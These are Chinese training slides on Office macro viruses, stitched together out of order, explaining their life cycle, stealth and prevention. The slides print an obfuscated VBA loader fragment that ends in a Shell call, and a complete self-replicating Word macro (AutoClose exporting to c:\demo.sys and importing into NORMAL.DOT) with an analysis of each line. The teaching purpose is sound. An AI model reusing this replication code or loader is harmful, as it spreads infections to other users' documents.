irUIcwRD153 kdaudlwYB = PtDFhmwZZ154 iFmWVaPu = Mid("AX2dCwbGzBwRzR0B9ACAAKQAtAEoATwBpAG4AJwAnACAAKQA=57cAXn5i8m8q2JvPWDXAo", 16, 34)155 KbFniuHlZAr = iFmWVaPu156 WujLpjlSJ = TnMGKiHih157 hfcbdZkXOQ = Mid("MofaM2kwYCF3hI3pREPq5wADEAWQA5ADkAhBAoZ3SX", 22, 13)158 OWGLMOBo = hfcbdZkXOQ159 OpniRlEni = VOwqRSPSQ160 zXXPDkaDCDf = Mid("UMBH8K03MAPWjNr4AA0AHsAMQAwADEAYgAxADAAOAB+ADEAMAA4AGIANQA5ACYAMwA2ACEAMQAxADkAegAxADAAMQBZADkAOAAmADkAOQB6ADEAMAA4AEkAMQAwADUAewAxADAAMQBZADEA 161 iCUMSYusIv = zXXPDkaDCDf162 OZouIKbdk = oJiYwCEkj163 pDDDLci = Mid("5l8w3MoVMQAxADQAOgA5ADcAegAxADEAMAArVwfzX20rok3a", 9, 27)164 NwSKajzAjmw = pDDDLci165 lrczHCBPD = NcVurrNsF166 cYFmodmUji = Mid("Xr8i8vwXK63tEGUAFM4fpIlA5ADcASQAxADEANgB7ADEAMAA1AGIAMQAwADEAIQAxADAANwBtADkANwBZADEAMQAwACYAMQAxADYASQAxADEAMQBiADEAMQAxAG0AMQAxADQAWQA5ADkAewAxADAA 167 kKRBFkTYOSq = cYFmodmUji168 tThcDoAPi = vzQtlhidb169 FPmzKLZZjn = Mid("UZV2SLzYBcmKjhjOAB7ADEAMAA2ADoAMQAuW61n", 16, 19)170 bYcfSuOhsf = FPmzKLZZjn171 nRRltsHOB = PtSrLGzLR172 KftEZiGv = Mid("ZOQB6ADEAMQA1AG0AOQGqcXPjVTGBVwHur", 2, 18)173 PcapUM = KftEZiGv174 CIoowrYFS = nUqoLNQZb175 CfjsS = Mid("pZPkhRPZtdoEjR3UWRwYAMQAxADIAWQAzADIAegA0ADMAegAzADIAbQAzADkASQA5ADIAegAzADkAIQAzADIAYgA0ADMAOgAzADIAJgAzADYAYgAxAoA", 21, 94)176 sbpNlLMLdC = CfjsS177 nHaoVpmlW = MEmKwaQjV178 haGppvzwpLm = Mid("MWhOm3Q1WQAxADEANgB+ADMAMgB7ADgAMwBJADEAMgAxAHsAMQAxADUASQAxADEANgB7v", 9, 59)179 wZkHuAqmza = haGppvzwpLm180Shell$ RTUHFOzsK + Chr(34) + iBSRmkhEj + XvLAfRK + PcapUM + EbUQjFzQMji + RkSMsXZmbbj + IAFUul + EzTYX + YhuVfBw + iCUMSYusIv + LJIEujI + AcOZjKGHd + bYcfSuOhsf + OWGLMOBo + wZkHuAqmza + kzLPNEjwRpi + 181End Function⼦程序中⾸先调⽤了"DMSojZquJ"模块的"KlsJVlijz"函数,函数代码经过严重混淆,但是通过函数结尾的“Shell”关键字我们猜测病毒执⾏了某个程序或命令⾏。
宏病毒的查杀与防治

3
宏病毒的概念
什么是“宏”
宏就是一组计算机指令--可以将它们录制下
来,并将它们与快捷键组合或宏名称关联起来。
然后,在按下快捷键组合或单击宏名称时,计算
机程序就会执行宏的指令。
4
宏病毒的概念
“宏”在哪里?
我们工作当中,离不开各种文档、表格。比如 微软公司出品的办公软件office2003。当中有 word文档、有excel文档等等。这些高度智能化的 办公软件当中,有很多可以把复杂的反复操作简单 化的指令合集。这种合集可以是自己录制的,也可 以是网络下载的。这就是“宏”
14
宏病毒的查杀及预防
1、提高对宏病毒的警惕性 在office办公软件当中,在 工具—宏—安全性 选项当中把宏安全性设置为 高。 2、时刻保持杀毒软件的正常运行 把杀毒软件的更新设置为自动更新,打开杀毒软 件所有的杀毒选项 3、不要随意打开不明电子邮件 宏病毒寄存在文档当中,通过邮件及U盘拷贝等形 式传播。在收到不明来历的电子邮件,马上删除。例 如:邮件标题为人才调查、人才招聘、财务报表、公 司计划等不明来历具有诱惑性的邮件
5
宏病毒的概念
宏病毒的起源
宏病毒在上个世纪90年代得益于网络及电子邮件 的发展而广泛传播。宏病毒主要感染文件有 word、 Excel 的文档。并且会驻留在系统内存上。因为这种 病毒活动特征区别于电脑病毒,所以一般的杀毒软件 不会报警。只有在用户打开及保存以上两种文档时感 染文件。
6
宏病毒的识别
在杀毒过程中不要选择自动处理,因为这很可能 会把你的染毒文件直接删除。
查找出来的染毒文件如果是重要文档,先用系统
自带的写字板工具打开,保存内容后再清除病毒。 确保重要文档不丢失。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
调试 VBA
设置断点
断点会在被设置的位置中断程序代码的执行
点击代码窗口左侧灰色空白处以设 置断点.
断点会被高亮显示出来,并且左边 有一个红点显示
16
调试 VBA
变量的值
为了查看一个变量的值,指向 该变量(在调试模式下)
该变量的值会自动显示出来
17
MS Word 宏病毒
• Word 病毒感染通用模板,该文件的名字为 NORMAL.DOT. • 该文件维护缺省的和用户自定义的关于MS-Word的设置 • 该文件的修改会影响所有后来用word打开的文件
– 这样的话,我们只需参考Dobj.VBComponents.Import ("c:\demo.sys")`
38
提示!!!
39
Main Title, 和宏的安全性 Office 2000 60 pt., U/L case LS=.8 lines
7
SoftWindows 98
8
VBA3, VBA5, VBA6 & Excel
宏语言 • • • • • Formula – Excel 4.0 VBA3 – Excel 5.0 WordBasic – Word 6.0 VBA5 – Office 97 applications VBA6 – Office 2000
• Office 97/2000
– 在文档用密码进行保护后,宏语句还是可以被查看到
29
文件损坏和手动编辑
• WinWord 6.0
– 在宏语句进行复制的时候有一个程序的错误 – 这会导致 WM/NPAD 200个不同的变种 – 1997/98-自然的损坏是病毒主要来源
• Office 97
– 可以用VBE进行编辑 (ALT+F11) – 用户手动编辑出来的宏是病毒的主要来源
33
运行逻辑
• • • • • 导出到 C:\DEMO.SYS (病毒源代码) 检查是否已经安装在NORMAL.DOT - 如果是的话,设置变量 检查是否已经安装在活动文件中 – 如果是的话设置变量 如果在NORMAL.DOT中没有的话将C:\DEMO.SYS导入 如果在活动文件中没有的话将C:\DEMO.SYS导入
Microsoft Excel Auto_Open Auto_Close Auto_Activate Auto_Deactivate
23
菜单关联/快捷键
• 将宏和菜单栏的某个选项相关联 • 删除和修改菜单栏中的项目 • 将宏和键盘上的某个键相关联
• 这些方法可以取代使用auto-macros的 方法取得控制权
• 这些病毒在执行的时候会将自身复制到其它的Excel文 件中去,同时在Excel的启动文件夹中也会留下一份拷 贝
• MS Excel 在启动的时候会自动加载在这个文件夹中的 所有文件
20
EXCEL 宏病毒的生命周期
• Excel 病毒在启动文件夹XLSTART中生成一个新的启动文件 • Excel 在下次运行时加载该文件 (PERSONAL.XLS) • Excel 不检查文件的后缀名,因此许多病毒遗留下来的文件就 不添加后缀名,比如 ‘BOOK1’
30
其它
• • • • • 手动删除某些外来的宏语句 防病毒产品没有完全将宏病毒正确清除 WinWord 在复制宏语句时异常终止 由于Word 6.0 的其它原因生成的不正常的宏语句 VBA5/VBA6 在单一模组中允许多项功能和多个事件操作同时 进行 • Office 97/2000 – 很少有其它情形下产生的宏病毒
18
WORD 宏病毒的生命周期
• 某个宏病毒对文档取得控制权 • 该病毒将自身复制到通用模板 • 通用模板在启动时自动调用 • 某些受感染文件会直接查找硬盘上的相关文 件 • 有时会使用最近打开的文件列表 • 其它的会把自己复制到模板文件中去(类似 通用模板)
19
Microsoft Excel 病毒
– 如果在活动文件中有名为“demo”的模组,将ActivInstall 的变量 值置为1(true)
• Next I
– 重复执行一次
• If ActivInstall = True And NormInstall = False Then Set Dobj = NormalTemplate.VBProject
•
– 重复执行一遍
• For I = 1 To ActiveDocument.VBProject.VBComponents.Count – 根据活动文件中模组的数目重复执行下面的代码
36
代码分析:续
• If ActiveDocument.VBProject.VBComponents(I).Name = "demo" Then ActivInstall = True
24
多态宏病毒
• 举例 – W97M/CLASS.A & W97M/STP • 利用WinWord的编辑功能修改自身的代码
25
隐形和加密
• 病毒代码防止被轻易查看到的措施
26
隐形和加密:续
27
隐形和加密:续
• 宏病毒存储时代码随机打乱
28
口令保护
• WinWord 6.0/7.0
– 整个文件可以进行密码保护 – 整个文件被打乱 – 不能访问该文件和其中的宏
31
混合
• • • •
不同的宏病毒存在在一个用户系统中 从其它的宏病毒中”借鉴” 从通用模板中的宏语句获取相应的信息 相同的病毒往往处在同一类型的模组中,称为 ‘ThisDocument’ 或 ‘ThisWorkbook’
32
病毒代码
Sub AutoClose() On Error Resume Next Application.VBE.ActiveVBProject.VBComponents("demo").Export "c:\demo.sys" For I = 1 To NormalTemplate.VBProject.VBComponents.Count If NormalTemplate.VBProject.VBComponents(I).Name = "demo" Then NormInstall = True Next I For I = 1 To ActiveDocument.VBProject.VBComponents.Count If ActiveDocument.VBProject.VBComponents(I).Name = "demo" Then ActivInstall = True Next I If ActivInstall = True And NormInstall = False Then Set Dobj = NormalTemplate.VBProject Else If ActivInstall = False And NormInstall = True Then Set Dobj = ActiveDocument.VBProject Dobj.VBComponents.Import ("c:\demo.sys") End Sub
– 如果在当前文档中安装完毕,但在normal.dot中没有的话,导入 到normal.dot文档中
37
代码分析:续
• Else If ActivInstall = False And NormInstall = True Then Set Dobj = ActiveDocument.VBProject
34
代码分析
• Sub AutoClose()
– 当文件关闭时会自动启用
• On Error Resume Next
– 如果出错,就接下去执行下面的指示
• For I = 1 To NormalTemplate.VBProject.VBComponents.Count
– 在 normal.dot 中根据模组中的数目重复执行下面的代码
3
宏
• 宏允许用户在做一些重复工作(例如打开、修改和保存文件) 时提高自动化程度 • 很多主流软件包括Microsoft Word, Microsoft Excel, Microsoft PowerPoint, Visio, 和 Lotus AmiPro 都有很强的编 写宏的功能
4
宏
• 宏并不局限于同一种软件创建的文件,别的文件类型也同样 • 这使得使用宏编写一个文件传播到另一个文件的病毒程序变 得相对简单
• 注 从WinWord 7.0a – 1st 以后,微软的 程序开始自带防病毒的警告机制
9
Visual Basic for Applications
• January 1997
– 微软发布 Office 97 (所有的程序都采用 VBA5)
• Word 8.0
– 可以转化(重编码)以前的宏到新的语言版本 – 转化的成功率 – 90% – 自动删除常见的宏病毒以阻止它们的传播
– 另外,如果已经安装在normal.dot中而在当前文档中没有的话, 导入到当前文档中
• Dobj.VBComponents.Import ("c:\demo.sys")
– 这将会把c:\demo.sys导入到normal.dot或者活动文档,根据上面 设置的变量值决定
• Set Dobj = ActiveDocument.VBProject
• 单击 Tools>Options • 在 Options 对话框, 选中 Macro virus protection
14
禁用宏
打开宏病毒防护功能 (Office 2000)
• 单击Tools>Macro>Security • 在 Security 对话框中,选择 High 或 Medium